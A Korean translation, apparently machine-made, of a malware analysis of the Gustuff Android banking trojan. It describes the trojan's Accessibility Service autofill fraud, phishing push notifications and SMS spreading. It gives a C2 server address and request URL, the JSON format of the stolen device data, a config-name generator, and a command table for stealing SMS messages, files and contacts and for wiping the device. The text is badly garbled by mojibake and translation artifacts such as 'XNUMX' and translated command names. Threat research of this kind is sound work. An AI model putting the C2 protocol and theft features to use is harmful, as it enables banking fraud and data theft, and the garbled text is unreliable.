์ผ๋ง ์ Group-IB
Group-IB ์
์ฑ์ฝ๋ ๋ถ์ ์ ๋ฌธ๊ฐ ์ด๋ฐ ํผ์ฌ๋ ํ ๊ทธ์ ์ฐ๊ตฌ์์ ๊ทธ๋ Gustuff์ ์๋ ๋ฐฉ์๊ณผ ๊ทธ ์ํ์ด ๋ฌด์์ธ์ง ์์ธํ ์ค๋ช
ํฉ๋๋ค.
๊ตฌ์คํฐํ๋ ๋๊ตฌ๋ฅผ ์ฐพ๊ณ ์๋์?
Gustuff๋ ์์ ํ ์๋ํ๋ ๊ธฐ๋ฅ์ ๊ฐ์ถ ์ฐจ์ธ๋ ์ ์ฑ ์ฝ๋์ ์ํฉ๋๋ค. ๊ฐ๋ฐ์์ ๋ฐ๋ฅด๋ฉด ์ด ํธ๋ก์ด ๋ชฉ๋ง๋ AndyBot ์ ์ฑ ์ฝ๋์ ์๋กญ๊ณ ํฅ์๋ ๋ฒ์ ์ด ๋์์ต๋๋ค. ์ด ์ ์ฑ ์ฝ๋๋ 2017๋ 800์๋ถํฐ ์ ๋ช ๊ตญ์ ์ํ ๋ฐ ๊ฒฐ์ ์์คํ ์ ๋ชจ๋ฐ์ผ ์ ํ๋ฆฌ์ผ์ด์ ์ผ๋ก ๊ฐ์ฅํ ํผ์ฑ ์น ์์์ ํตํด ์๋๋ก์ด๋ ํด๋ํฐ์ ๊ณต๊ฒฉํ๊ณ ๋์ ํ์ณ ์์ต๋๋ค. Bestoffer๋ Gustuff Bot ์๋ ๊ฐ๊ฒฉ์ด ์ XNUMX๋ฌ๋ฌ๋ผ๊ณ ๋ณด๊ณ ํ์ต๋๋ค.
Gustuff ์ํ ๋ถ์์ ๋ฐ๋ฅด๋ฉด ํธ๋ก์ด ๋ชฉ๋ง๋ Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank ๋ฐ ์ํธํํ ์ง๊ฐ๊ณผ ๊ฐ์ ๋ํ ์ํ์ ๋ชจ๋ฐ์ผ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฌ์ฉํ๋ ๊ณ ๊ฐ์ ์ ์ฌ์ ์ผ๋ก ํ์ ์ผ๋ก ์ผ๊ณ ์๋ ๊ฒ์ผ๋ก ๋ํ๋ฌ์ต๋๋ค. ๋นํธ์ฝ์ธ ์ง๊ฐ, BitPay, Cryptopay, Coinbase ๋ฑ
์๋๋ ๊ณ ์ ์ ์ธ ๋ฑ ํน ํธ๋ก์ด ๋ชฉ๋ง๋ก ๋ง๋ค์ด์ก์ง๋ง ํ์ฌ ๋ฒ์ ์์๋ Gustuff๊ฐ ์ ์ฌ์ ์ธ ๊ณต๊ฒฉ ๋์ ๋ชฉ๋ก์ ํฌ๊ฒ ํ์ฅํ์ต๋๋ค. Gustuff๋ ์ํ, ํํ ํฌ ํ์ฌ ๋ฐ ์ํธํํ ์๋น์ค์ฉ Android ์ ํ๋ฆฌ์ผ์ด์ ์ธ์๋ ๋ง์ผํ๋ ์ด์ค ์ ํ๋ฆฌ์ผ์ด์ , ์จ๋ผ์ธ ์์ , ๊ฒฐ์ ์์คํ ๋ฐ ์ธ์คํดํธ ๋ฉ์ ์ ์ฌ์ฉ์๋ฅผ ๋์์ผ๋ก ํฉ๋๋ค. ํนํ PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ๋ฑ์ด ์์ต๋๋ค.
์ง์ ์ : ๋๋๊ฐ์ผ ๊ณ์ฐ
Gustuff๋ APK ๋งํฌ๊ฐ ํฌํจ๋ SMS ๋ฉ์ผ์ ํตํด Android ์ค๋งํธํฐ์ ์นจํฌํ๋ "๊ณ ์ ์ ์ธ" ๋ฒกํฐ๊ฐ ํน์ง์ ๋๋ค. ์๋๋ก์ด๋ ๊ธฐ๊ธฐ๊ฐ ์๋ฒ์ ๋ช ๋ น์ผ๋ก ํธ๋ก์ด ๋ชฉ๋ง์ ๊ฐ์ผ๋๋ฉด Gustuff๋ ๊ฐ์ผ๋ ํด๋ํฐ์ ์ฐ๋ฝ์ฒ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ์๋ฒ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ํตํด ์ถ๊ฐ๋ก ํ์ฐ๋ ์ ์์ต๋๋ค. Gustuff์ ๊ธฐ๋ฅ์ ๋๋ ๊ฐ์ผ๊ณผ ์ด์์ ๋น์ฆ๋์ค์ ์ต๋ ์๋ณธํ๋ฅผ ์ํด ์ค๊ณ๋์์ต๋๋ค. ์ฌ๊ธฐ์๋ ํฉ๋ฒ์ ์ธ ๋ชจ๋ฐ์ผ ๋ฑ ํน ์ ํ๋ฆฌ์ผ์ด์ ๊ณผ ์ํธํํ ์ง๊ฐ์ ๋ํ ๊ณ ์ ํ "์๋ ์ฑ์ฐ๊ธฐ" ๊ธฐ๋ฅ์ด ์์ด ์๊ธ ๋๋ ์๋๋ฅผ ๋์ด๊ณ ๊ท๋ชจ๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
ํธ๋ก์ด๋ชฉ๋ง์ ๋ํ ์ฐ๊ตฌ ๊ฒฐ๊ณผ, ์ฅ์ ์ธ์ ์ํ ์๋น์ค์ธ ์ ๊ทผ์ฑ ์๋น์ค(Accessibility Service)๋ฅผ ์ด์ฉํด ์๋์์ฑ ๊ธฐ๋ฅ์ด ๊ตฌํ๋ ๊ฒ์ผ๋ก ๋ํ๋ฌ๋ค. Gustuff๋ ์ด Android ์๋น์ค๋ฅผ ์ฌ์ฉํ์ฌ ๋ค๋ฅธ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฐฝ ์์์์ ์ํธ ์์ฉ์ ๋ํ ๋ณดํธ๋ฅผ ์ฑ๊ณต์ ์ผ๋ก ์ฐํํ ์ต์ด์ ํธ๋ก์ด ๋ชฉ๋ง๊ฐ ์๋๋๋ค. ํ์ง๋ง ์์ง๊น์ง ์๋์ฐจ ํ๋ฌ์ ์ ๊ทผ์ฑ ์๋น์ค๋ฅผ ํจ๊ป ํ์ฉํ๋ ์ฌ๋ก๋ ๋งค์ฐ ๋๋ญ ๋๋ค.
Gustuff๋ ํผํด์์ ํด๋ํฐ์ ๋ค์ด๋ก๋ํ ํ ์ ๊ทผ์ฑ ์๋น์ค๋ฅผ ์ฌ์ฉํ์ฌ ๋ค๋ฅธ ์ ํ๋ฆฌ์ผ์ด์ (๋ฑ ํน, ์ํธํํ, ์จ๋ผ์ธ ์ผํ, ๋ฉ์์ง ์ ํ๋ฆฌ์ผ์ด์ ๋ฑ)์ ์ฐฝ ์์์ ์ํธ ์์ฉํ์ฌ ๊ณต๊ฒฉ์์๊ฒ ํ์ํ ์์ ์ ์ํํ ์ ์์ต๋๋ค. . ์๋ฅผ ๋ค์ด, ์๋ฒ ๋ช ๋ น์ ๋ฐ๋ผ ํธ๋ก์ด ๋ชฉ๋ง๋ ๋ฒํผ์ ๋๋ฅด๊ณ ์ํ ์ ํ๋ฆฌ์ผ์ด์ ์ ํ ์คํธ ํ๋ ๊ฐ์ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค. ์ ๊ทผ์ฑ ์๋น์ค ๋ฉ์ปค๋์ฆ์ ์ฌ์ฉํ๋ฉด ํธ๋ก์ด ๋ชฉ๋ง๋ ์ด์ ์ธ๋์ ๋ชจ๋ฐ์ผ ํธ๋ก์ด ๋ชฉ๋ง์ ๋์ํ๊ธฐ ์ํด ์ํ์์ ์ฌ์ฉํ๋ ๋ณด์ ๋ฉ์ปค๋์ฆ๊ณผ Google์ด Android OS์ ์ ๋ฒ์ ์์ ๊ตฌํํ ๋ณด์ ์ ์ฑ ์ ๋ณ๊ฒฝ ์ฌํญ์ ์ฐํํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ Gustuff๋ Google Protect ๋ณดํธ๋ฅผ ๋นํ์ฑํํ๋ ๋ฐฉ๋ฒ์ ์๊ณ ์์ต๋๋ค. ์ ์์ ๋ฐ๋ฅด๋ฉด ์ด ๊ธฐ๋ฅ์ 70%์ ๊ฒฝ์ฐ์ ์๋ํฉ๋๋ค.
Gustuff๋ ํฉ๋ฒ์ ์ธ ๋ชจ๋ฐ์ผ ์ ํ๋ฆฌ์ผ์ด์
์์ด์ฝ๊ณผ ํจ๊ป ๊ฐ์ง PUSH ์๋ฆผ์ ํ์ํ ์๋ ์์ต๋๋ค. ์ฌ์ฉ์๋ PUSH ์๋ฆผ์ ํด๋ฆญํ๊ณ ์๋ฒ์์ ๋ค์ด๋ก๋๋ ํผ์ฑ ์ฐฝ์ ๋ณด๊ฒ ๋๋ฉฐ, ์ฌ๊ธฐ์ ์์ฒญ๋ ์ํ ์นด๋ ๋๋ ์ํธํํ ์ง๊ฐ ๋ฐ์ดํฐ๋ฅผ ์
๋ ฅํฉ๋๋ค. ๋ ๋ค๋ฅธ Gustuff ์๋๋ฆฌ์ค์์๋ PUSH ์๋ฆผ์ด ํ์๋ ์ ํ๋ฆฌ์ผ์ด์
์ด ์ด๋ฆฝ๋๋ค. ์ด ๊ฒฝ์ฐ, ์
์ฑ ์ฝ๋๋ ์ ๊ทผ์ฑ ์๋น์ค๋ฅผ ํตํด ์๋ฒ์ ๋ช
๋ น์ ๋ฐ๋ผ ์ฌ๊ธฐ ๊ฑฐ๋์ ๋ํ ์ํ ์ ํ๋ฆฌ์ผ์ด์
์ ์์ ํ๋๋ฅผ ์ฑ์ธ ์ ์์ต๋๋ค.
Gustuff์ ๊ธฐ๋ฅ์๋ ๊ฐ์ผ๋ ์ฅ์น์ ๋ํ ์ ๋ณด๋ฅผ ์๋ฒ๋ก ๋ณด๋ด๊ธฐ, SMS ๋ฉ์์ง ์ฝ๊ธฐ/๋ณด๋ด๊ธฐ, USSD ์์ฒญ ๋ณด๋ด๊ธฐ, SOCKS5 ํ๋ก์ ์คํ, ๋งํฌ ๋ฐ๋ผ ๊ฐ๊ธฐ, ํ์ผ(๋ฌธ์์ ์ฌ์ง ์ค์บ, ์คํฌ๋ฆฐ์ท, ์ฌ์ง ํฌํจ) ๋ณด๋ด๊ธฐ ๋ฑ์ด ํฌํจ๋ฉ๋๋ค. ์๋ฒ, ์ฅ์น๋ฅผ ๊ณต์ฅ ์ค์ ์ผ๋ก ์ฌ์ค์ ํฉ๋๋ค.
์ ์ฑ์ฝ๋ ๋ถ์
์ ์ฑ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ค์นํ๊ธฐ ์ ์ Android OS๋ ์ฌ์ฉ์์๊ฒ Gustuff๊ฐ ์์ฒญํ ๊ถํ ๋ชฉ๋ก์ด ํฌํจ๋ ์ฐฝ์ ํ์ํฉ๋๋ค.
์ ํ๋ฆฌ์ผ์ด์
์ ์ฌ์ฉ์์ ๋์๋ฅผ ๋ฐ์ ํ์๋ง ์ค์น๋ฉ๋๋ค. ์์ฉ ํ๋ก๊ทธ๋จ์ ์์ํ ํ ํธ๋ก์ด ๋ชฉ๋ง๋ ์ฌ์ฉ์์๊ฒ ๋ค์ ์ฐฝ์ ํ์ํฉ๋๋ค.
๊ทธ๋ฐ ๋ค์ ํด๋น ์์ด์ฝ์ด ์ ๊ฑฐ๋ฉ๋๋ค.
์ ์์ ๋ฐ๋ฅด๋ฉด Gustuff๋ FTT์ ํจ์ปค์ ์ํด ํฌ์ฅ๋์์ต๋๋ค. ์์ ํ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฃผ๊ธฐ์ ์ผ๋ก CnC ์๋ฒ์ ์ฐ๊ฒฐํ์ฌ ๋ช ๋ น์ ๋ฐ์ต๋๋ค. ์ฐ๋ฆฌ๊ฐ ์กฐ์ฌํ ์ฌ๋ฌ ํ์ผ์ IP ์ฃผ์๋ฅผ ์ ์ด ์๋ฒ๋ก ์ฌ์ฉํ์ต๋๋ค. 88.99.171[.]105 (์ดํ ๋ก ํ๊ธฐํ๊ฒ ์ต๋๋ค. <%CnC%>).
์คํ ํ ํ๋ก๊ทธ๋จ์ ์๋ฒ์ ๋ฉ์์ง๋ฅผ ๋ณด๋ด๊ธฐ ์์ํฉ๋๋ค. http://<%CnC%>/api/v1/get.php.
์๋ต์ ๋ค์ ํ์์ JSON์ด ๋ ๊ฒ์ผ๋ก ์์๋ฉ๋๋ค.
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
์ ํ๋ฆฌ์ผ์ด์ ์ ์ก์ธ์คํ ๋๋ง๋ค ๊ฐ์ผ๋ ์ฅ์น์ ๋ํ ์ ๋ณด๋ฅผ ๋ณด๋ ๋๋ค. ๋ฉ์์ง ํ์์ ์๋์ ๊ฐ์ต๋๋ค. ํ๋๊ฐ ์๋ค๋ ์ ์ ์ฃผ๋ชฉํ ๊ฐ์น๊ฐ ์์ต๋๋ค. ๊ฐ๋ ์ฐฌ, ์ฌ๋ถ์, ์ฑ ะธ ํ๊ฐ โ ์ ํ ์ฌํญ์ด๋ฉฐ CnC์์ ์์ฒญ ๋ช ๋ น์ด ์๋ ๊ฒฝ์ฐ์๋ง ์ ์ก๋ฉ๋๋ค.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
๊ตฌ์ฑ ๋ฐ์ดํฐ ์ ์ฅ
Gustuff๋ ์ด์์ ์ค์ํ ์ ๋ณด๋ฅผ ๊ธฐ๋ณธ ์ค์ ํ์ผ์ ์ ์ฅํฉ๋๋ค. ํ์ผ ์ด๋ฆ๊ณผ ๊ทธ ์์ ๋งค๊ฐ๋ณ์ ์ด๋ฆ์ ๋ฌธ์์ด์์ MD5 ํฉ๊ณ๋ฅผ ๊ณ์ฐํ ๊ฒฐ๊ณผ์ ๋๋ค. 15413090667214.6.1<%์ด๋ฆ%>์ด๋์์ <%์ด๋ฆ%> โ ์ด๊ธฐ ์ด๋ฆ-๊ฐ. ์ด๋ฆ ์์ฑ ํจ์์ Python ํด์:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
๋ค์์์๋ ์ด๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ํ๊ธฐํ๊ฒ ์ต๋๋ค. ์ด๋ฆ์์ฑ๊ธฐ(์
๋ ฅ).
๋ฐ๋ผ์ ์ฒซ ๋ฒ์งธ ํ์ผ ์ด๋ฆ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค. nameGenerator("API_SERVER_LIST"), ์ฌ๊ธฐ์๋ ๋ค์ ์ด๋ฆ์ ๊ฐ์ด ํฌํจ๋ฉ๋๋ค.
๋ณ์ ์ด๋ฆ | ๊ฐ์น |
---|---|
nameGenerator("API_SERVER_LIST") | ๋ฐฐ์ด ํ์์ CnC ์ฃผ์ ๋ชฉ๋ก์ ํฌํจํฉ๋๋ค. |
nameGenerator("API_SERVER_URL") | CnC ์ฃผ์๋ฅผ ํฌํจํฉ๋๋ค. |
nameGenerator("SMS_UPLOAD") | ํ๋๊ทธ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ค์ ๋ฉ๋๋ค. ํ๋๊ทธ๊ฐ ์ค์ ๋ ๊ฒฝ์ฐ CnC์ SMS ๋ฉ์์ง๋ฅผ ๋ณด๋ ๋๋ค. |
nameGenerator("SMS_ROOT_NUMBER") | ๊ฐ์ผ๋ ์ฅ์น์์ ์์ ํ SMS ๋ฉ์์ง๊ฐ ์ ์ก๋ ์ ํ๋ฒํธ์ ๋๋ค. ๊ธฐ๋ณธ๊ฐ์ null์ ๋๋ค. |
nameGenerator("SMS_ROOT_NUMBER_RESEND") | ํ๋๊ทธ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ง์์ง๋๋ค. ์ค์น๋ ๊ฒฝ์ฐ ๊ฐ์ผ๋ ์ฅ์น๊ฐ SMS๋ฅผ ์์ ํ๋ฉด ๋ฃจํธ ๋ฒํธ๋ก ์ ์ก๋ฉ๋๋ค. |
nameGenerator("DEFAULT_APP_SMS") | ํ๋๊ทธ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ง์์ง๋๋ค. ์ด ํ๋๊ทธ๊ฐ ์ค์ ๋๋ฉด ์ ํ๋ฆฌ์ผ์ด์ ์ ์์ ๋๋ SMS ๋ฉ์์ง๋ฅผ ์ฒ๋ฆฌํฉ๋๋ค. |
์ด๋ฆ์์ฑ๊ธฐ("DEFAULT_ADMIN") | ํ๋๊ทธ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ง์์ง๋๋ค. ํ๋๊ทธ๊ฐ ์ค์ ๋์ด ์์ผ๋ฉด ์์ฉ ํ๋ก๊ทธ๋จ์ ๊ด๋ฆฌ์ ๊ถํ์ด ์๋ ๊ฒ์ ๋๋ค. |
nameGenerator("DEFAULT_ACCESSIBILITY") | ํ๋๊ทธ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ง์์ง๋๋ค. ํ๋๊ทธ๊ฐ ์ค์ ๋์ด ์์ผ๋ฉด ์ ๊ทผ์ฑ ์๋น์ค๋ฅผ ์ฌ์ฉํ๋ ์๋น์ค๊ฐ ์คํ๋๊ณ ์๋ ๊ฒ์ ๋๋ค. |
nameGenerator("APPS_CONFIG") | ํน์ ์ ํ๋ฆฌ์ผ์ด์ ๊ณผ ๊ด๋ จ๋ ์ ๊ทผ์ฑ ์ด๋ฒคํธ๊ฐ ํธ๋ฆฌ๊ฑฐ๋ ๋ ์ํํด์ผ ํ๋ ์์ ๋ชฉ๋ก์ด ํฌํจ๋ JSON ๊ฐ์ฒด์ ๋๋ค. |
nameGenerator("APPS_INSTALLED") | ์ฅ์น์ ์ค์น๋ ์ ํ๋ฆฌ์ผ์ด์ ๋ชฉ๋ก์ ์ ์ฅํฉ๋๋ค. |
nameGenerator("IS_FIST_RUN") | ํ๋๊ทธ๋ ์ฒ์ ์์ํ ๋ ์ฌ์ค์ ๋ฉ๋๋ค. |
nameGenerator("UNIQUE_ID") | ๊ณ ์ ์๋ณ์๋ฅผ ํฌํจํฉ๋๋ค. ๋ด์ด ์ฒ์ ์คํ๋ ๋ ์์ฑ๋ฉ๋๋ค. |
์๋ฒ์ ๋ช ๋ น์ ์ฒ๋ฆฌํ๋ ๋ชจ๋
์ ํ๋ฆฌ์ผ์ด์ ์ CnC ์๋ฒ์ ์ฃผ์๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์ธ์ฝ๋ฉ๋ ๋ฐฐ์ด ํํ๋ก ์ ์ฅํฉ๋๋ค. ๋ฒ ์ด์ค ์ค๊ณฝ. CnC ์๋ฒ ๋ชฉ๋ก์ ํด๋น ๋ช ๋ น์ ์์ ํ๋ฉด ๋ณ๊ฒฝ๋ ์ ์์ผ๋ฉฐ, ์ด ๊ฒฝ์ฐ ์ฃผ์๋ ๊ธฐ๋ณธ ์ค์ ํ์ผ์ ์ ์ฅ๋ฉ๋๋ค.
์์ฒญ์ ๋ํ ์๋ต์ผ๋ก ์๋ฒ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ช ๋ น์ ๋ณด๋ ๋๋ค. ๋ช ๋ น๊ณผ ๋งค๊ฐ๋ณ์๊ฐ JSON ํ์์ผ๋ก ํ์๋๋ค๋ ์ ์ ์ฃผ๋ชฉํ ๊ฐ์น๊ฐ ์์ต๋๋ค. ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ค์ ๋ช ๋ น์ ์ฒ๋ฆฌํ ์ ์์ต๋๋ค.
ํ | ๊ธฐ์ |
---|---|
์์ผ๋ก์์ | ๊ฐ์ผ๋ ์ฅ์น์์ ์์ ํ SMS ๋ฉ์์ง๋ฅผ CnC ์๋ฒ๋ก ๋ณด๋ด๊ธฐ ์์ํฉ๋๋ค. |
์์ผ๋ก์ค์ง | ๊ฐ์ผ๋ ์ฅ์น์์ ์์ ํ SMS ๋ฉ์์ง๋ฅผ CnC ์๋ฒ๋ก ๋ณด๋ด๋ ๊ฒ์ ์ค์งํฉ๋๋ค. |
ussd์คํ | USSD ์์ฒญ์ ์คํํฉ๋๋ค. USSD๋ฅผ ์์ฒญํด์ผ ํ๋ ๋ฒํธ๋ JSON ํ๋ โnumberโ์ ์์ต๋๋ค. |
๋ฌธ์๋ฅผ ๋ณด๋ด๋ค | ํ๋์ SMS ๋ฉ์์ง๋ฅผ ๋ณด๋ ๋๋ค(ํ์ํ ๊ฒฝ์ฐ ๋ฉ์์ง๊ฐ ์ฌ๋ฌ ๋ถ๋ถ์ผ๋ก "๋ถํ "๋ฉ๋๋ค). ์ด ๋ช ๋ น์ ๋งค๊ฐ๋ณ์๋ก ๋์ ๋ฒํธ์ธ "to" ํ๋์ ๋ฉ์์ง ๋ณธ๋ฌธ์ธ "body" ํ๋๊ฐ ํฌํจ๋ JSON ๊ฐ์ฒด๋ฅผ ์ฌ์ฉํฉ๋๋ค. |
sendSmsAb | ๊ฐ์ผ๋ ์ฅ์น์ ์ฐ๋ฝ์ฒ ๋ชฉ๋ก์ ์๋ ๋ชจ๋ ์ฌ๋์๊ฒ SMS ๋ฉ์์ง๋ฅผ ๋ณด๋ ๋๋ค(ํ์ํ ๊ฒฝ์ฐ ๋ฉ์์ง๊ฐ ์ฌ๋ฌ ๋ถ๋ถ์ผ๋ก "๋ถํ "๋จ). ๋ฉ์์ง ์ ์ก ๊ฐ๊ฒฉ์ 10์ด์ ๋๋ค. ๋ฉ์์ง ๋ณธ๋ฌธ์ JSON ํ๋ "body"์ ์์ต๋๋ค. |
๋ณด๋ด๊ธฐSmsMass | ๋ช ๋ น ๋งค๊ฐ๋ณ์์ ์ง์ ๋ ์ฐ๋ฝ์ฒ๋ก SMS ๋ฉ์์ง(ํ์ํ ๊ฒฝ์ฐ ๋ฉ์์ง๊ฐ ์ฌ๋ฌ ๋ถ๋ถ์ผ๋ก "๋ถํ "๋จ)๋ฅผ ๋ณด๋ ๋๋ค. ๋ฉ์์ง ์ ์ก ๊ฐ๊ฒฉ์ 10์ด์ ๋๋ค. ์ด ๋ช ๋ น์ ๋งค๊ฐ๋ณ์๋ก JSON ๋ฐฐ์ด("sms" ํ๋)์ ์ฌ์ฉํ๋ฉฐ, ๊ทธ ์์์๋ ๋์ ๋ฒํธ์ธ "to" ํ๋์ ๋ฉ์์ง ๋ณธ๋ฌธ์ธ "body" ํ๋๊ฐ ํฌํจ๋์ด ์์ต๋๋ค. |
๋ณ๊ฒฝ ์๋ฒ | ์ด ๋ช ๋ น์ "url" ํค๋ฅผ ๋งค๊ฐ๋ณ์๋ก ์ฌ์ฉํ์ฌ ๊ฐ์ ์ทจํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ฉด ๋ด์ nameGenerator("SERVER_URL") ๋๋ "array"์ ๊ฐ์ ๋ณ๊ฒฝํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ๋ด์ nameGenerator("API_SERVER_LIST")์ ๋ฐฐ์ด์ ์๋๋ค. ๋ฐ๋ผ์ ์ ํ๋ฆฌ์ผ์ด์ ์ CnC ์๋ฒ์ ์ฃผ์๋ฅผ ๋ณ๊ฒฝํฉ๋๋ค. |
๊ด๋ฆฌ์๋ฒํธ | ์ด ๋ช ๋ น์ ๋ฃจํธ ๋ฒํธ์ ํจ๊ป ์๋ํ๋๋ก ์ค๊ณ๋์์ต๋๋ค. ์ด ๋ช ๋ น์ ๋ค์ ๋งค๊ฐ๋ณ์๊ฐ ์๋ JSON ๊ฐ์ฒด๋ฅผ ํ์ฉํฉ๋๋ค. "number" โ nameGenerator("ROOT_NUMBER")๋ฅผ ์์ ๋ ๊ฐ์ผ๋ก ๋ณ๊ฒฝ, "resend" โ nameGenerator("SMS_ROOT_NUMBER_RESEND") ๋ณ๊ฒฝ, "sendId" โ nameGenerator("ROOT_NUMBER"๋ก ๋ณด๋ด๊ธฐ) ) ๊ณ ์ ID. |
์ ๋ณด๋ฅผ ์ ๋ฐ์ดํธ | ๊ฐ์ผ๋ ์ฅ์น์ ๋ํ ์ ๋ณด๋ฅผ ์๋ฒ๋ก ๋ณด๋ ๋๋ค. |
๋ฐ์ดํฐ ์ง์ฐ๊ธฐ | ์ด ๋ช ๋ น์ ์ฌ์ฉ์ ๋ฐ์ดํฐ๋ฅผ ์ญ์ ํ๊ธฐ ์ํ ๊ฒ์ ๋๋ค. ์ ํ๋ฆฌ์ผ์ด์ ์ด ์์๋ ์ด๋ฆ์ ๋ฐ๋ผ ์ฅ์น๋ฅผ ์ฌ๋ถํ ํ๋ฉด ๋ฐ์ดํฐ๊ฐ ์์ ํ ์ญ์ ๋๊ฑฐ๋(๊ธฐ๋ณธ ์ฌ์ฉ์) ์ฌ์ฉ์ ๋ฐ์ดํฐ๋ง ์ญ์ ๋ฉ๋๋ค(๋ณด์กฐ ์ฌ์ฉ์). |
์๋ง์์ | ํ๋ก์ ๋ชจ๋์ ์คํํฉ๋๋ค. ๋ชจ๋์ ์๋์ ๋ณ๋์ ์น์ ์์ ์ค๋ช ๋ฉ๋๋ค. |
์๋ง๊ทธ๋ง | ํ๋ก์ ๋ชจ๋์ ์ค์งํฉ๋๋ค. |
์คํ๋งํฌ | ๋งํฌ๋ฅผ ๋ฐ๋ผ๊ฐ์ธ์. ๋งํฌ๋ "url" ํค ์๋ JSON ๋งค๊ฐ๋ณ์์ ์์ต๋๋ค. "android.intent.action.VIEW"๋ ๋งํฌ๋ฅผ ์ฌ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. |
uploadAllSms | ์ฅ์น์์ ์์ ํ ๋ชจ๋ SMS ๋ฉ์์ง๋ฅผ ์๋ฒ๋ก ๋ณด๋ ๋๋ค. |
๋ชจ๋ ์ฌ์ง์ ๋ก๋ | ๊ฐ์ผ๋ ์ฅ์น์ ์ด๋ฏธ์ง๋ฅผ URL๋ก ๋ณด๋ ๋๋ค. URL์ ๋งค๊ฐ๋ณ์๋ก ์ ๊ณต๋ฉ๋๋ค. |
์ ๋ก๋ํ์ผ | ๊ฐ์ผ๋ ์ฅ์น์์ URL๋ก ํ์ผ์ ๋ณด๋ ๋๋ค. URL์ ๋งค๊ฐ๋ณ์๋ก ์ ๊ณต๋ฉ๋๋ค. |
์ ๋ก๋์ ํ๋ฒํธ | ์ฐ๋ฝ์ฒ ๋ชฉ๋ก์ ์ ํ๋ฒํธ๋ฅผ ์๋ฒ๋ก ๋ณด๋ ๋๋ค. "ab" ํค๊ฐ ํฌํจ๋ JSON ๊ฐ์ฒด ๊ฐ์ด ๋งค๊ฐ ๋ณ์๋ก ์์ ๋๋ฉด ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ํ๋ฒํธ๋ถ์์ ์ฐ๋ฝ์ฒ ๋ชฉ๋ก์ ์์ ํฉ๋๋ค. "sms" ํค๊ฐ ํฌํจ๋ JSON ๊ฐ์ฒด๊ฐ ๋งค๊ฐ๋ณ์๋ก ์์ ๋๋ฉด ์ ํ๋ฆฌ์ผ์ด์ ์ SMS ๋ฉ์์ง ๋ฐ์ ์์ ์ฐ๋ฝ์ฒ ๋ชฉ๋ก์ ์ฝ์ต๋๋ค. |
